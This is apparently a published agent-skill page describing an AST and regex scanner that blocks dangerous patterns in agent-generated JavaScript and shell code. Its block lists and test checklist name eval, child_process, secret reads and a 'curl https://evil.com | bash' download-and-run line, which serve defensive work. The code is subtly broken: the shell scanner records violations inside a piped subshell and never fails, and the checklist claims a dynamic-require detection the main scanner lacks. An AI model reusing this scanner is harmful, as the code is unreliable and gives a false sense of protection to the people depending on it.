AGENT SKILL

ast-injection-scanner

Statically scan agent-generated JavaScript and shell scripts for dangerous patterns using AST analysis (acorn/swc). Detect eval(), process.env access, dynamic require(), child_process usage, and path traversal before code execution.

License 许可
Apache-2.0
最近更新
2026-11-14
Stars
★ 13
Forks
2

01 前言 Front Matter

name
ast-injection-scanner
origin
acorn (MIT), swc (Apache-2.0), ESTree spec, OWASP Code Injection Cheat Sheet
license
Apache-2.0
version
1.0.0
description
Statically scan agent-generated JavaScript and shell scripts for dangerous patterns using AST analysis (acorn/swc). Detect eval(), process.env access, dynamic require(), child_process usage, and path traversal before code execution.
compatibility
claude-sonnet-4-6, claude-opus-4-7

03 SKILL.md 正文

AST Injection Scanner

Parse agent-generated code into an Abstract Syntax Tree and walk every node looking for dangerous call patterns — before any line is executed.

When to Use

  • Agent system that generates and hot-loads JS code at runtime
  • Validating shell scripts produced by an agent before executing them
  • Building a pre-commit hook that blocks dangerous code patterns
  • Implementing YAMTAM sovereign-runtime-law (rule 51) AST gate

Do NOT use for

  • Linting developer code (use ESLint with security plugins instead)
  • Python/Ruby code (use language-specific AST tools: ast module, RuboCop)
  • Performance-critical paths where AST parse overhead is unacceptable

acorn-based Scanner

import { parse } from 'acorn';

const BLOCKED_CALLS = new Set(['eval', 'exec', 'execSync', 'execFile', 'spawnSync', 'fork']);
const BLOCKED_MEMBERS = [
  { object: 'process', property: 'env' },
  { object: 'child_process', property: null },  // any child_process method
  { object: 'fs', property: 'writeFileSync' },
  { object: 'fs', property: 'unlinkSync' },
];

function scanAST(source, filename = 'agent-generated') {
  const ast = parse(source, {
    ecmaVersion: 2022,
    sourceType: 'module',
    locations: true,
  });

  const violations = [];

  function walk(node) {
    if (!node || typeof node !== 'object') return;

    if (node.type === 'CallExpression') {
      const name = node.callee?.name ?? node.callee?.property?.name;
      if (BLOCKED_CALLS.has(name)) {
        violations.push({ type: 'BLOCKED_CALL', name, line: node.loc?.start.line });
      }
    }

    if (node.type === 'MemberExpression') {
      const obj  = node.object?.name;
      const prop = node.property?.name;
      for (const blocked of BLOCKED_MEMBERS) {
        if (obj === blocked.object && (blocked.property === null || prop === blocked.property)) {
          violations.push({ type: 'BLOCKED_MEMBER', expr: `${obj}.${prop}`, line: node.loc?.start.line });
        }
      }
    }

    // Recurse
    for (const key of Object.keys(node)) {
      if (['loc','start','end','type'].includes(key)) continue;
      const child = node[key];
      if (Array.isArray(child)) child.forEach(walk);
      else if (child?.type) walk(child);
    }
  }

  walk(ast);
  return { safe: violations.length === 0, violations, filename };
}

Shell Script Scanner (Regex Fallback)

#!/usr/bin/env bash
# scan-shell.sh — block dangerous shell patterns in agent scripts

scan_shell() {
  local file="$1"
  local violations=()

  grep -nE '(eval |`.*`|\$\(|\bexec\b|LD_PRELOAD|curl\s+.*\|\s*bash|wget\s+.*\|\s*sh)' "$file" \
    | while IFS=: read -r line content; do
        echo "VIOLATION line ${line}: ${content}" >&2
        violations+=("line:${line}")
      done

  [[ ${#violations[@]} -gt 0 ]] && return 3
  return 0
}

scan_shell "$1"

Dynamic require() Detection

// Distinguishes static from dynamic require
function isDynamicRequire(node) {
  if (node.type !== 'CallExpression') return false;
  if (node.callee?.name !== 'require') return false;
  // Static: require('./module') — first arg is a string literal
  // Dynamic: require(variableName) — first arg is NOT a literal
  const arg = node.arguments?.[0];
  return !arg || arg.type !== 'Literal';
}

Pre-execution Pipeline

async function safeExecute(agentId, generatedCode) {
  // 1. AST scan
  const { safe, violations } = scanAST(generatedCode, `${agentId}-generated`);
  if (!safe) {
    swarmRouter.penalize(agentId, 15, 'AST_VIOLATION');
    throw new Error(`AST blocked: ${violations[0].type} at line ${violations[0].line}`);
  }

  // 2. Sign artifact
  const sig = signArtifact(generatedCode);

  // 3. Execute in sandbox
  return executeInSandbox(generatedCode, { signature: sig });
}

Anti-Fake-Pass Checklist

  • [ ] eval() in source → violations array non-empty
  • [ ] process.env.SECRET in source → BLOCKED_MEMBER violation
  • [ ] Static require('./config') → no violation (allowed)
  • [ ] Dynamic require(userInput) → BLOCKED_CALL violation
  • [ ] Shell scanner: curl https://evil.com | bash → exit code 3

04 同仓库更多 Skills

Horonomos-laps
Horonomos-laps/Yana-AI

openai--sentry--sentry

Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

ito-basket-compare

Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

implementing-network-traffic-baselining

Build network traffic baselines from NetFlow/IPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly/daily traffic pattern profiling

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

detecting-evasion-techniques-in-endpoint-logs

Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

implementing-microsegmentation-with-guardicore

Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

ramdisk-tmpfs-patterns

暂无简介

★ 13